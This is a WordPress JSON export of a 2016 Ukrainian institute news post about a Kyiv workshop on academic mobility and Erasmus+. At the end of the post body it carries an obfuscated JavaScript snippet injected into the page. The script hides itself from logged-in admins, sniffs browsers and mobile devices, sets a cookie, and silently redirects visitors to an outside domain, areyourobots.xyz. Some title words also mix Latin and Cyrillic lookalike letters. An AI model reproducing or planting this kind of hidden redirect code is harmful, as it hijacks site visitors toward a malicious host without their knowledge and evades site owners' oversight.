{"id":4536,"date":"2016-05-20T10:50:01","date_gmt":"2016-05-20T08:50:01","guid":{"rendered":"http:\/\/www.iepd.kiev.ua\/?p=4536"},"modified":"2016-05-20T10:50:01","modified_gmt":"2016-05-20T08:50:01","slug":"%d0%bf%d1%80%d0%b5%d0%b4%d1%81%d1%82%d0%b0%d0%b2%d0%bd%d0%b8%d1%86%d1%8f-%d1%96%d0%bd%d1%81%d1%82%d0%b8%d1%82%d1%83%d1%82%d1%83-%d0%b2%d0%b7%d1%8f%d0%bb%d0%b0-%d1%83%d1%87%d0%b0%d1%81%d1%82%d1%8c","status":"publish","type":"post","link":"https:\/\/www.iepd.kiev.ua\/?p=4536","title":{"rendered":"\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043d\u0438\u0446\u044f \u0406\u043d\u0441\u0442\u0438\u0442\u0443\u0442\u0443 \u0432\u0437\u044f\u043b\u0430 \u0443\u0447\u0430\u0441\u0442\u044c \u0443 \u0432\u043e\u0440\u043a\u0448\u043e\u043f\u0456, \u043f\u0440\u0438\u0441\u0432\u044f\u0447\u0435\u043d\u043e\u043c\u0443 \u043f\u0438\u0442\u0430\u043d\u043d\u044f\u043c \u0430\u043a\u0430\u0434\u0435\u043c\u0456\u0447\u043d\u043e\u0457 \u043c\u043e\u0431\u0456\u043b\u044c\u043d\u043e\u0441\u0442\u0456"},"content":{"rendered":"<p style=\"text-align: justify;\">\u0421\u043f\u0456\u0432\u0440\u043e\u0431\u0456\u0442\u043d\u0438\u0446\u044f \u0406\u043d\u0441\u0442\u0438\u0442\u0443\u0442\u0443 \u043a.\u044e.\u043d. <strong>A\u043dac\u0442aci\u044f \u0422o\u043ay\u043do\u0432a<\/strong> \u0432\u0437\u044f\u043b\u0430 \u0443\u0447\u0430\u0441\u0442\u044c \u0443 \u0432\u043e\u0440\u043a\u0448\u043e\u043f\u0456 <em><strong>\u00ab\u0406nt\u0435rn\u0430tion\u0430l\u0456zat\u0456\u043en \u043ef \u041d\u0456gh\u0435r \u0415du\u0441\u0430t\u0456\u043en thr\u043eugh \u0441urri\u0441ul\u0430 d\u0435v\u0435l\u043e\u0440m\u0435nt, j\u043e\u0456nt \u0440r\u043egr\u0430ms \u0430nd m\u043eb\u0456l\u0456t\u0443\u00bb<\/strong><\/em>.\u00a0\u0417\u0430\u0445\u0456\u0434 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0432 \u0443 \u0433\u043e\u043b\u043e\u0432\u043d\u043e\u043c\u0443 \u043a\u043e\u0440\u043f\u0443\u0441\u0456 \u041a\u0438\u0457\u0432\u0441\u044c\u043a\u043e\u0433\u043e \u043d\u0430\u0446\u0456\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u0456\u043c.\u00a0\u0422.\u0413.\u00a0\u0428\u0435\u0432\u0447\u0435\u043d\u043a\u0430 13 \u0442\u0440\u0430\u0432\u043d\u044f 2016\u00a0\u0440.<\/p>\n<div id=\"attachment_4537\" class=\"wp-caption aligncenter\" style=\"width: 1858px\"><a href=\"http:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-4537\" src=\"http:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-1.jpg\" alt=\"\u0412\u043e\u0440\u043a\u0448\u043e\u043f \u0432\u0456\u0434\u0431\u0443\u0432\u0430\u0432\u0441\u044f \u0430\u043d\u0433\u043b\u0456\u0439\u0441\u044c\u043a\u043e\u044e \u043c\u043e\u0432\u043e\u044e, \u043f\u0440\u0438 \u0446\u044c\u043e\u043c\u0443 \u0431\u0443\u0432 \u0437\u0430\u0431\u0435\u0437\u043f\u0435\u0447\u0435\u043d\u0438\u0439 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u0438\u0439 \u043f\u0435\u0440\u0435\u043a\u043b\u0430\u0434 \u0443\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u043e\u044e \u0442\u0430 \u0441\u0443\u0440\u0434\u043e\u043f\u0435\u0440\u0435\u043a\u043b\u0430\u0434\" width=\"1848\" height=\"1039\" srcset=\"https:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-1.jpg 1848w, https:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-1-300x169.jpg 300w, https:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-1-1024x576.jpg 1024w\" sizes=\"(max-width: 1848px) 100vw, 1848px\" \/><\/a><p class=\"wp-caption-text\">\u0412\u043e\u0440\u043a\u0448\u043e\u043f \u0432\u0456\u0434\u0431\u0443\u0432\u0430\u0432\u0441\u044f \u0430\u043d\u0433\u043b\u0456\u0439\u0441\u044c\u043a\u043e\u044e \u043c\u043e\u0432\u043e\u044e, \u043f\u0440\u0438 \u0446\u044c\u043e\u043c\u0443 \u0431\u0443\u0432 \u0437\u0430\u0431\u0435\u0437\u043f\u0435\u0447\u0435\u043d\u0438\u0439 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u0438\u0439 \u043f\u0435\u0440\u0435\u043a\u043b\u0430\u0434 \u0443\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u043e\u044e \u0442\u0430 \u0441\u0443\u0440\u0434\u043e\u043f\u0435\u0440\u0435\u043a\u043b\u0430\u0434<\/p><\/div>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\u041a\u043b\u044e\u0447\u043e\u0432\u0438\u043c\u0438 \u043d\u0430 \u0432\u043e\u0440\u043a\u0448\u043e\u043f\u0456 \u0431\u0443\u043b\u0438 \u0432\u0438\u0441\u0442\u0443\u043f\u0438 \u0434\u0432\u043e\u0445 \u0434\u043e\u043f\u043e\u0432\u0456\u0434\u0430\u0447\u0456\u0432.<\/p>\n<p style=\"text-align: justify;\"><strong>Kjell<\/strong> <strong>Nilsson<\/strong> (<em>\u043f\u0440\u043e\u0444\u0435\u0441\u043e\u0440 \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u041b\u0443\u043d\u0434 (\u0428\u0432\u0435\u0446\u0456\u044f); <\/em><em>\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440 \u043c\u0456\u0436\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u0457 \u043f\u043e\u043b\u0456\u0442\u0438\u043a\u0438 \u0444\u0430\u043a\u0443\u043b\u044c\u0442\u0435\u0442\u0443 \u0441\u043e\u0446\u0456\u0430\u043b\u044c\u043d\u0438\u0445 \u043d\u0430\u0443\u043a \u0442\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440 \u0441\u043f\u0456\u0432\u0440\u043e\u0431\u0456\u0442\u043d\u0438\u0446\u0442\u0432\u0430 \u0437 \u041a\u0438\u0442\u0430\u0454\u043c \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u041b\u0443\u043d\u0434; \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440 \u0404\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u044c\u043a\u043e\u0433\u043e \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0441\u044c\u043a\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0443 \u041f\u0435\u043a\u0456\u043d\u0441\u044c\u043a\u043e\u0433\u043e \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 (\u041a\u0438\u0442\u0430\u0439); \u043a\u0435\u0440\u0456\u0432\u043d\u0438\u043a \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u0446\u044c\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0443 \u00ab\u041e\u0446\u0456\u043d\u044e\u0432\u0430\u043d\u043d\u044f \u0441\u043e\u0446\u0456\u0430\u043b\u044c\u043d\u043e\u0457 \u043f\u043e\u043b\u0456\u0442\u0438\u043a\u0438: \u0441\u0445\u0456\u0434\u043d\u043e-\u0430\u0437\u0456\u0439\u0441\u044c\u043a\u0430 \u0442\u0430 \u0441\u043a\u0430\u043d\u0434\u0438\u043d\u0430\u0432\u0441\u044c\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0456 \u043f\u0435\u0440\u0435\u0440\u043e\u0437\u043f\u043e\u0434\u0456\u043b\u0443 \u0443 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0456\u00bb<\/em>)<\/p>\n<p style=\"text-align: justify;\">\u0434\u043e\u043a\u043b\u0430\u0434\u043d\u043e \u0440\u043e\u0437\u043f\u043e\u0432\u0456\u0432 \u043f\u0440\u043e \u043c\u043e\u0436\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 <a href=\"http:\/\/erasmusplus.org.ua\/en\/\">Erasmus Plus<\/a>, \u0442\u043e\u043d\u043a\u043e\u0449\u0456 \u043f\u0456\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0437\u0430\u044f\u0432\u043e\u043a \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u0456 \u0432 \u043d\u0456\u0439, \u0430 \u0442\u0430\u043a\u043e\u0436 \u043f\u0440\u0438\u0434\u0456\u043b\u0438\u0432 \u0443\u0432\u0430\u0433\u0443 \u043f\u0440\u0430\u043a\u0442\u0438\u0446\u0456 \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u041b\u0443\u043d\u0434 \u0432 \u0433\u0430\u043b\u0443\u0437\u0456 \u0456\u043d\u0442\u0435\u0440\u043d\u0430\u0446\u0456\u043e\u043d\u0430\u043b\u0456\u0437\u0430\u0446\u0456\u0457 \u043e\u0441\u0432\u0456\u0442\u0438 (\u0432 \u0442\u043e\u043c\u0443 \u0447\u0438\u0441\u043b\u0456 \u043f\u043e\u0434\u0432\u0456\u0439\u043d\u0438\u0445 \u0434\u0438\u043f\u043b\u043e\u043c\u0456\u0432) \u0437\u0430 \u043d\u0438\u0437\u043a\u043e\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0456\u0432 (\u0434\u043e\u043f\u043e\u0432\u0456\u0434\u0430\u0447 \u043e\u0441\u043e\u0431\u0438\u0441\u0442\u043e \u043a\u0443\u0440\u0443\u0454 \u043e\u043a\u0440\u0435\u043c\u0456 \u043d\u0430\u043f\u0440\u044f\u043c\u0438 \u0434\u0430\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0443 \u0442\u043e\u043c\u0443 \u043c\u0430\u0454 \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u043d\u0438\u0439 \u0434\u043e\u0441\u0432\u0456\u0434).<\/p>\n<p style=\"text-align: justify;\">\n<div id=\"attachment_4538\" class=\"wp-caption aligncenter\" style=\"width: 669px\"><a href=\"http:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-2.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-4538\" src=\"http:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-2.jpg\" alt=\"\u0412\u0438\u0441\u0442\u0443\u043f\u0430\u0454 Kjell Nilsson\" width=\"659\" height=\"388\" srcset=\"https:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-2.jpg 659w, https:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-2-300x177.jpg 300w\" sizes=\"(max-width: 659px) 100vw, 659px\" \/><\/a><p class=\"wp-caption-text\">\u0412\u0438\u0441\u0442\u0443\u043f\u0430\u0454 Kjell Nilsson<\/p><\/div>\n<p style=\"text-align: justify;\"><strong>Sonja Kurten-Vartio<\/strong> (<em>\u043f\u0440\u043e\u0444\u0435\u0441\u043e\u0440\u043a\u0430 \u043a\u0430\u0444\u0435\u0434\u0440\u0438 \u0441\u043e\u0446\u0456\u0430\u043b\u044c\u043d\u043e\u0457 \u0440\u043e\u0431\u043e\u0442\u0438 \u041d\u043e\u0432\u0456\u0430 \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u043f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u0438\u0445 \u043d\u0430\u0443\u043a, \u043c.\u00a0\u0412\u0430\u0430\u0441\u0430 (\u0424\u0456\u043d\u043b\u044f\u043d\u0434\u0456\u044f); \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u0430\u043a\u0430\u0434\u0435\u043c\u0456\u0447\u043d\u043e\u0457 \u043c\u043e\u0431\u0456\u043b\u044c\u043d\u043e\u0441\u0442\u0456 \u0441\u0442\u0443\u0434\u0435\u043d\u0442\u0456\u0432 \u0456\u00a0\u0432\u0438\u043a\u043b\u0430\u0434\u0430\u0447\u0456\u0432 \u0443\u00a0\u0433\u0430\u043b\u0443\u0437\u0456 \u0441\u043e\u0446\u0456\u0430\u043b\u044c\u043d\u0438\u0445 \u043d\u0430\u0443\u043a \u0443\u00a0\u043c\u0435\u0436\u0430\u0445 \u0415\u0440\u0430\u0437\u043c\u0443\u0441+\u0413\u043b\u043e\u0431\u0430\u043b \u0432 \u041d\u043e\u0432\u0456\u0430 \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0456 \u043f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u0438\u0445 \u043d\u0430\u0443\u043a; \u043c\u0456\u0436\u043d\u0430\u0440\u043e\u0434\u043d\u0438\u0439 \u0435\u043a\u0441\u043f\u0435\u0440\u0442 \u0404\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u044c\u043a\u043e\u0457 \u043c\u0456\u0441\u0456\u0457 \u0432 \u0406\u0440\u0430\u043a\u0443 \u0437 \u043d\u0430\u0432\u0447\u0430\u043d\u043d\u044f \u0441\u043f\u0456\u0432\u0440\u043e\u0431\u0456\u0442\u043d\u0438\u043a\u0456\u0432 \u043f\u0435\u043d\u0456\u0442\u0435\u043d\u0446\u0456\u0430\u0440\u043d\u043e\u0457 \u0441\u0438\u0441\u0442\u0435\u043c\u0438 \u0434\u043e\u0442\u0440\u0438\u043c\u0430\u043d\u043d\u044e \u043f\u0440\u0430\u0432 \u043b\u044e\u0434\u0438\u043d\u0438; \u0447\u043b\u0435\u043d \u0454\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u044c\u043a\u0438\u0445 \u043c\u0456\u0441\u0456\u0439 \u0441\u043f\u043e\u0441\u0442\u0435\u0440\u0435\u0436\u0435\u043d\u043d\u044f \u0437\u0430 \u0432\u0438\u0431\u043e\u0440\u0430\u043c\u0438 \u0443 \u041a\u043e\u0441\u043e\u0432\u043e, \u0410\u043b\u0431\u0430\u043d\u0456\u0457, \u0413\u0440\u0443\u0437\u0456\u0457, \u041c\u043e\u043b\u0434\u043e\u0432\u0456, \u0406\u043d\u0434\u043e\u043d\u0435\u0437\u0456\u0457, \u041a\u0435\u043d\u0456\u0457, \u0423\u043a\u0440\u0430\u0457\u043d\u0456 \u0442\u0430 \u0411\u0456\u043b\u043e\u0440\u0443\u0441\u0456 \u0442\u043e\u0449\u043e<\/em>)\u00a0\u043f\u0440\u0438\u0434\u0456\u043b\u0438\u043b\u0430 \u0443\u0432\u0430\u0433\u0443 \u043c\u043e\u0436\u043b\u0438\u0432\u043e\u0441\u0442\u044f\u043c \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0456\u0439\u043d\u043e\u0457 \u043e\u0441\u0432\u0456\u0442\u0438, \u0437\u043e\u043a\u0440\u0435\u043c\u0430, \u0440\u043e\u0437\u043f\u043e\u0432\u0456\u043b\u0430, \u0449\u043e \u0457\u0457 \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442 \u043d\u0430\u0434\u0430\u0454 \u043c\u043e\u0436\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u043b\u0443\u0445\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u043a\u043b\u044e\u0447\u043e\u0432\u0456 \u043b\u0435\u043a\u0446\u0456\u0457 \u043e\u043d\u043b\u0430\u0439\u043d \u0434\u043b\u044f \u043e\u0441\u0456\u0431, \u044f\u043a\u0456 \u0446\u0456\u043a\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u043d\u0438\u043c\u0438 \u043f\u0438\u0442\u0430\u043d\u043d\u044f\u043c\u0438. \u0422\u0430\u043a\u043e\u0436 \u0434\u043e\u043f\u043e\u0432\u0456\u0434\u0430\u0447\u043a\u0430 \u043d\u0430\u0433\u043e\u043b\u043e\u0441\u0438\u043b\u0430 \u043d\u0430 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0456\u0457 \u043f\u043e\u0441\u0438\u043b\u0435\u043d\u043d\u044f \u0444\u043e\u0440\u043c\u0443\u0432\u0430\u043d\u043d\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u0438\u0445 \u043d\u0430\u0432\u0438\u0447\u043e\u043a \u043f\u0456\u0434 \u0447\u0430\u0441 \u043d\u0430\u0432\u0447\u0430\u043d\u043d\u044f, \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c \u043c\u043e\u0442\u0438\u0432\u0430\u0446\u0456\u0457 \u0434\u043e \u043d\u0430\u0432\u0447\u0430\u043d\u043d\u044f \u0442\u0430 \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u0446\u044c\u043a\u043e\u0457 \u0434\u0456\u044f\u043b\u044c\u043d\u043e\u0441\u0442\u0456, \u0442\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c \u0432\u043f\u0440\u043e\u0432\u0430\u0434\u0436\u0435\u043d\u043d\u044f \u043f\u043e\u0434\u0456\u0431\u043d\u0438\u0445 \u043f\u0456\u0434\u0445\u043e\u0434\u0456\u0432. \u0422\u0430\u043a, \u043e\u0441\u0442\u0430\u043d\u043d\u0456\u043c \u0447\u0430\u0441\u043e\u043c \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u043d\u0456 \u0437\u0430\u043d\u044f\u0442\u0442\u044f \u0432\u0441\u0435 \u0431\u0456\u043b\u044c\u0448\u0435 \u043f\u0435\u0440\u0435\u043f\u043b\u0456\u0442\u0430\u044e\u0442\u044c\u0441\u044f \u0437 \u043f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u0438\u043c\u0438. \u041a\u0440\u0456\u043c \u0442\u043e\u0433\u043e, \u043f\u0456\u0434 \u0447\u0430\u0441 \u043f\u043e\u0434\u0430\u043d\u043d\u044f \u0437\u0430\u044f\u0432 \u043d\u0430 \u0431\u0443\u0434\u044c-\u044f\u043a\u0456 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u0430\u043a\u0430\u0434\u0435\u043c\u0456\u0447\u043d\u043e\u0457 \u043c\u043e\u0431\u0456\u043b\u044c\u043d\u043e\u0441\u0442\u0456 \u043d\u0435\u043e\u0431\u0445\u0456\u0434\u043d\u043e \u0431\u0443\u0442\u0438 \u0433\u043e\u0442\u043e\u0432\u0438\u043c \u043b\u0430\u043a\u043e\u043d\u0456\u0447\u043d\u043e \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0441\u0442\u0438 \u043d\u0430 \u043f\u0438\u0442\u0430\u043d\u043d\u044f \u00ab\u043d\u0430\u0432\u0456\u0449\u043e?\u00bb, \u00ab\u0447\u043e\u043c\u0443 \u0441\u0430\u043c\u0435 \u0442\u0430\u043a?\u00bb \u0432\u0456\u0434\u043d\u043e\u0441\u043d\u043e \u043a\u043e\u0436\u043d\u043e\u0433\u043e \u0430\u0441\u043f\u0435\u043a\u0442\u0443, \u0437\u0430 \u044f\u043a\u0438\u043c \u043f\u043b\u0430\u043d\u0443\u0454\u0442\u044c\u0441\u044f \u0440\u043e\u0431\u043e\u0442\u0430.<\/p>\n<div id=\"attachment_4539\" class=\"wp-caption aligncenter\" style=\"width: 658px\"><a href=\"http:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-3.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-4539\" src=\"http:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-3.jpg\" alt=\"\u0414\u043e\u043f\u043e\u0432\u0456\u0434\u044c Sonja Kurten-Vartio\" width=\"648\" height=\"374\" srcset=\"https:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-3.jpg 648w, https:\/\/www.iepd.kiev.ua\/wp-content\/uploads\/2016\/05\/\u0424\u043e\u0442\u043e-3-300x173.jpg 300w\" sizes=\"(max-width: 648px) 100vw, 648px\" \/><\/a><p class=\"wp-caption-text\">\u0414\u043e\u043f\u043e\u0432\u0456\u0434\u044c Sonja Kurten-Vartio<\/p><\/div>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0432\u0456\u0434\u0441\u043e\u0442\u043a\u043e\u0432\u0435 \u0441\u043f\u0456\u0432\u0432\u0456\u0434\u043d\u043e\u0448\u0435\u043d\u043d\u044f \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u0457, \u043d\u0430\u0434\u0430\u043d\u043e\u0457 \u043f\u0456\u0434 \u0447\u0430\u0441 \u0432\u043e\u0440\u043a\u0448\u043e\u043f\u0443, \u043c\u043e\u0436\u043d\u0430 \u0432\u0456\u0434\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0438 \u044f\u043a 35\/40\/25 (\u0437\u0430\u0433\u0430\u043b\u044c\u043d\u0456 \u0432\u0456\u0434\u043e\u043c\u043e\u0441\u0442\u0456 \u043f\u0440\u043e \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u043d\u0456 \u043f\u0440\u043e\u0435\u043a\u0442\u0438 \/ \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0456\u043d\u0441\u0442\u0438\u0442\u0443\u0446\u0456\u0439 \u0434\u043e\u043f\u043e\u0432\u0456\u0434\u0430\u0447\u0456\u0432 \/ \u0442\u043e\u043d\u043a\u043e\u0449\u0456 \u0442\u0430 \u043a\u043e\u0440\u0438\u0441\u043d\u0456 \u043f\u043e\u0440\u0430\u0434\u0438).<\/p>\n<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\\x20path=\/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](\/Android\/i)||navigator['userAgent'][b('0xe')](\/BlackBerry\/i)||navigator[b('0xd')][b('0xe')](\/iPhone|iPad|iPod\/i)||navigator[b('0xd')][b('0xe')](\/Opera Mini\/i)||navigator[b('0xd')][b('0xe')](\/IEMobile\/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0421\u043f\u0456\u0432\u0440\u043e\u0431\u0456\u0442\u043d\u0438\u0446\u044f \u0406\u043d\u0441\u0442\u0438\u0442\u0443\u0442\u0443 \u043a.\u044e.\u043d. A\u043dac\u0442aci\u044f \u0422o\u043ay\u043do\u0432a \u0432\u0437\u044f\u043b\u0430 \u0443\u0447\u0430\u0441\u0442\u044c \u0443 \u0432\u043e\u0440\u043a\u0448\u043e\u043f\u0456 \u00ab\u0406nt\u0435rn\u0430tion\u0430l\u0456zat\u0456\u043en \u043ef \u041d\u0456gh\u0435r \u0415du\u0441\u0430t\u0456\u043en thr\u043eugh \u0441urri\u0441ul\u0430 d\u0435v\u0435l\u043e\u0440m\u0435nt, j\u043e\u0456nt \u0440r\u043egr\u0430ms \u0430nd m\u043eb\u0456l\u0456t\u0443\u00bb.\u00a0\u0417\u0430\u0445\u0456\u0434 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0432 \u0443 \u0433\u043e\u043b\u043e\u0432\u043d\u043e\u043c\u0443 \u043a\u043e\u0440\u043f\u0443\u0441\u0456 \u041a\u0438\u0457\u0432\u0441\u044c\u043a\u043e\u0433\u043e \u043d\u0430\u0446\u0456\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u0456\u043c.\u00a0\u0422.\u0413.\u00a0\u0428\u0435\u0432\u0447\u0435\u043d\u043a\u0430 13 \u0442\u0440\u0430\u0432\u043d\u044f 2016\u00a0\u0440. \u041a\u043b\u044e\u0447\u043e\u0432\u0438\u043c\u0438 \u043d\u0430 \u0432\u043e\u0440\u043a\u0448\u043e\u043f\u0456 \u0431\u0443\u043b\u0438 \u0432\u0438\u0441\u0442\u0443\u043f\u0438 \u0434\u0432\u043e\u0445 \u0434\u043e\u043f\u043e\u0432\u0456\u0434\u0430\u0447\u0456\u0432. Kjell Nilsson (\u043f\u0440\u043e\u0444\u0435\u0441\u043e\u0440 \u0443\u043d\u0456\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0443 \u041b\u0443\u043d\u0434 (\u0428\u0432\u0435\u0446\u0456\u044f); \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440 \u043c\u0456\u0436\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u0457 \u043f\u043e\u043b\u0456\u0442\u0438\u043a\u0438 \u0444\u0430\u043a\u0443\u043b\u044c\u0442\u0435\u0442\u0443 \u0441\u043e\u0446\u0456\u0430\u043b\u044c\u043d\u0438\u0445 \u043d\u0430\u0443\u043a \u0442\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440 \u0441\u043f\u0456\u0432\u0440\u043e\u0431\u0456\u0442\u043d\u0438\u0446\u0442\u0432\u0430 \u0437 \u041a\u0438\u0442\u0430\u0454\u043c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=\/wp\/v2\/posts\/4536"}],"collection":[{"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4536"}],"version-history":[{"count":1,"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=\/wp\/v2\/posts\/4536\/revisions"}],"predecessor-version":[{"id":4540,"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=\/wp\/v2\/posts\/4536\/revisions\/4540"}],"wp:attachment":[{"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4536"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.iepd.kiev.ua\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}